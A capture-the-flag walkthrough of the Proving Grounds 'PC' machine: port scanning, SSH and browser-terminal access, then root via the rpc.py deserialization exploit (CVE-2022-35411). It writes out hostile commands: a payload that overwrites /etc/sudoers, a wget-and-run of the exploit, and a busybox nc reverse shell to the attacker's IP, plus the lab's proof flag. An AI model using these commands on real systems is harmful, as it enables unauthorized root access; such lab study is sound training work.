Summary #
Initial access through SSH or a terminal in the browser on port 8000. Privilege escalation through a RPC server running as root with a Python exploit script (CVE-2022-35411) to get root access.
Specifications #
- Name: PC
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Intermediate
- OS: Linux pc 5.4.0-156-generic #173-Ubuntu SMP Tue Jul 11 07:25:22 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.151.210
- OFFSEC provided credentials:
user:GuestFastSpeed999
- HASH:
local.txt
: None - HASH:
proof.txt
:d0b3f991288e8d9000d97f16972b4024
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir pc && cd pc && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Jul 20 13:33 .
drwxrwxr-x 10 kali kali 4096 Jul 20 13:33 ..
drwxrwxr-x 2 kali kali 4096 Jul 20 13:33 enum
drwxrwxr-x 2 kali kali 4096 Jul 20 13:33 exploits
drwxrwxr-x 2 kali kali 4096 Jul 20 13:33 files
drwxrwxr-x 2 kali kali 4096 Jul 20 13:33 tools
drwxrwxr-x 2 kali kali 4096 Jul 20 13:33 uploads
## set bash variable
ip=192.168.151.210
## ping target to check if it's online
ping $ip
PING 192.168.151.210 (192.168.151.210) 56(84) bytes of data.
64 bytes from 192.168.151.210: icmp_seq=1 ttl=61 time=19.3 ms
64 bytes from 192.168.151.210: icmp_seq=2 ttl=61 time=18.2 ms
^C
--- 192.168.151.210 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.205/18.740/19.275/0.535 ms
Reconnaissance #
Portscanning #
Using the Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Port scanning: Because every port has a story to tell.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.151.210:22
Open 192.168.151.210:8000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 13:34 CEST
Initiating Ping Scan at 13:34
Scanning 192.168.151.210 [4 ports]
Completed Ping Scan at 13:34, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:34
Completed Parallel DNS resolution of 1 host. at 13:34, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:34
Scanning 192.168.151.210 [2 ports]
Discovered open port 22/tcp on 192.168.151.210
Discovered open port 8000/tcp on 192.168.151.210
Completed SYN Stealth Scan at 13:34, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.151.210
Host is up, received echo-reply ttl 61 (0.017s latency).
Scanned at 2025-07-20 13:34:58 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
8000/tcp open http-alt syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
8000/tcp open http-alt syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## change directory
cd files
## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports
## output previous command
22,8000
## move one up
cd ..
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,8000 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=
| 256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=
| 256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs
8000/tcp open http syn-ack ttl 61 ttyd 1.7.3-a2312cb (libwebsockets 3.2.0)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: ttyd/1.7.3-a2312cb (libwebsockets/3.2.0)
|_http-title: ttyd - Terminal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
Initial Access: path 1 #
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=
| 256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=
| 256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs
Because we got credentials from OFFSEC we first try to login using SSH on TCP port 22.
## login to target using SSH and provided credentials
ssh user@$ip
user@pc:~$
Initial Access: path 2 #
8000/tcp open http syn-ack ttl 61 ttyd 1.7.3-a2312cb (libwebsockets 3.2.0)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: ttyd/1.7.3-a2312cb (libwebsockets/3.2.0)
|_http-title: ttyd - Terminal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
When we go to port 8000 in the browser we also get initial access.

Privilege Escalation #
When we look at the running processes (with --forest
(ascii art process tree)) there is a python script run from /opt/rpc.py
. Within this file a RPC server is setup running on port 65432. We can verify this using netstat
and indeed this port is listening.
## list running processes i
ps -ef --forest
<SNIP>
root 860 1 0 11:30 ? 00:00:00 /usr/bin/python3 /usr/bin/supervisord -n -c /etc/supervisor/supe
root 1040 860 0 11:30 ? 00:00:03 \_ python3 /opt/rpc.py
<SNIP>
## print `/opt/rpc.py`
cat /opt/rpc.py
<SNIP>
if __name__ == "__main__":
uvicorn.run(app, interface="asgi3", port=65432)
<SNIP>
## list ports, grep for portnumber 65432
user@pc:/opt$ netstat -antup | grep 65432
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:65432 0.0.0.0:* LISTEN -
Within the /opt/rpc.py
RPC is imported from rpcpy
. When looking on the internet for an existing exploit, we can find: https://www.exploit-db.com/exploits/50983 (CVE-2022-35411). We could also find this exploit using searchsploit and mirror it locally and edit it to execute a command to add the user
user to sudo.
## change directory
cd exploits
## use searchsploit to find exploit
searchsploit rpc.py
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
rpc.py 0.6.0 - Remote Code Execution (RCE) | python/remote/50983.py
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
## mirror the exploit locally
searchsploit -m python/remote/50983.py
Exploit: rpc.py 0.6.0 - Remote Code Execution (RCE)
URL: https://www.exploit-db.com/exploits/50983
Path: /usr/share/exploitdb/exploits/python/remote/50983.py
Codes: CVE-2022-35411
Verified: False
File Type: Python script, ASCII text executable
## edit the exploit
python/remote/50983.py
## change in this file the following
def main():
#exec_command('curl http://127.0.0.1:4321')
exec_command('echo "user ALL=(root) NOPASSWD: ALL" > /etc/sudoers')
Upload the python script to the target
## get local IP address on tun0
ip a
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.195/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::a2a3:f1a4:cb78:b94a/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## start a local webserver
python3 -m http.server 80
## on target, download the exploit
user@pc:~$ wget http://192.168.45.195/50983.py
## set the execution bit
user@pc:~$ chmod +x 50983.py
## run the exploit
user@pc:~$ python3 ./50983.py
b'\x80\x04\x95N\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c3echo "user ALL=(root) NOPASSWD: ALL" > /etc/sudoers\x94\x85\x94R\x94.'
## list sudo
user@pc:~$ sudo -l
User user may run the following commands on pc:
(root) NOPASSWD: ALL
## use sudo and switch user to the `root` user
user@pc:~$ sudo su -
root@pc:~# whoami
root
## print `/root/proof.txt`
root@pc:~# cat /root/proof.txt
d0b3f991288e8d9000d97f16972b4024
You can also ex. setup a listener on port 80 and add the following command in the exploit file to get a reverse shell as the root
user.
## command to get a reverse shell on port 80 on local listener
exec_command('busybox nc 192.168.45.195 80 -e sh')
References #
[+]